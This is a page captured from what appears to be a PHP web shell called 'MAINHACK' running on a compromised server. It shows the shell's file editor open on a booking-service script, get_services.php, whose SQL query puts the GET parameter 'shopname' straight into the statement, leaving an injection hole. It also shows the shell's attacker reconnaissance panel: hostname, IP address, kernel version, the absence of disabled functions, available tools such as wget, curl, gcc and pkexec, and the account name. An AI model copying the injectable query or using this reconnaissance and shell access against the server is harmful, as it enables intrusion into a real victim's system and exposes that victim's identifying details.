[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: get_services.php
<?php // Enable error reporting and logging (display errors only for debugging, remove in production) ini_set('display_errors', 0); // Disable displaying errors to avoid JSON corruption ini_set('log_errors', 1); ini_set('error_log', '/path/to/error.log'); // Adjust path as needed (e.g., /tmp/error.log if writable) header('Content-Type: application/json'); ob_start(); // Start output buffering to capture any unwanted output // Test basic output before any complex logic echo json_encode(['status' => 'Starting script']); // Debugging line try { include("db.php"); echo json_encode(['status' => 'Database included']); // Debugging line } catch (Exception $e) { ob_end_clean(); // Clear any output buffer error_log("Database connection failed: " . $e->getMessage()); echo json_encode(['error' => 'Failed to connect to the database: ' . $e->getMessage()]); exit; } $shopname = isset($_GET['shopname']) ? trim($_GET['shopname']) : null; $category_id = isset($_GET['category_id']) ? (int)$_GET['category_id'] : null; try { if ($category_id === null || $category_id === 0) { $stmt = $con->prepare("SELECT service_id, service_name, service_price, service_duration FROM services WHERE business_name = '$shopname' "); $stmt->execute(); } else { $stmt = $con->prepare("SELECT service_id, service_name, service_price, service_duration FROM services WHERE business_name = '$shopname' and category_id = :category_id"); $stmt->bindParam(':category_id', $category_id, PDO::PARAM_INT); $stmt->execute(); } $services = $stmt->fetchAll(PDO::FETCH_ASSOC); foreach ($services as &$service) { $service['service_price'] = (float)$service['service_price']; $service['service_duration'] = (int)$service['service_duration']; } ob_end_clean(); // Clear buffer before final output echo json_encode($services); } catch (PDOException $e) { ob_end_clean(); // Clear any output buffer error_log("Database query failed: " . $e->getMessage()); echo json_encode(['error' => 'Error fetching services: ' . $e->getMessage()]); exit; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002